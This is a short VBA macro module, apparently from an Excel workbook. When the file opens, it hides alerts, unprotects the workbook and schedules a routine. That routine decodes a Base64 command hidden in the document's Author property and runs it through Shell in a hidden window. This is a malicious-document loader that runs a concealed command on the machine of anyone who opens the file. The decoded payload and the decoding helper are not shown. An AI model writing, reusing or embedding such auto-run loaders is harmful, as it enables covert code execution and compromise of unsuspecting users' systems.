Private Sub Workbook_Open()
    Application.DisplayAlerts = False
    ThisWorkbook.Unprotect
    On Error GoTo 10
    Application.OnTime Now + TimeValue("00:00:01"), "Launch"
    
    Exit Sub
10:     Launch
    Resume Next
End Sub
Sub Launch()
    b_64 = ThisWorkbook.BuiltinDocumentProperties("Author")
    strCommand = Base64DecodeString(b_64)
    Call Shell(strCommand, vbHide)
End Sub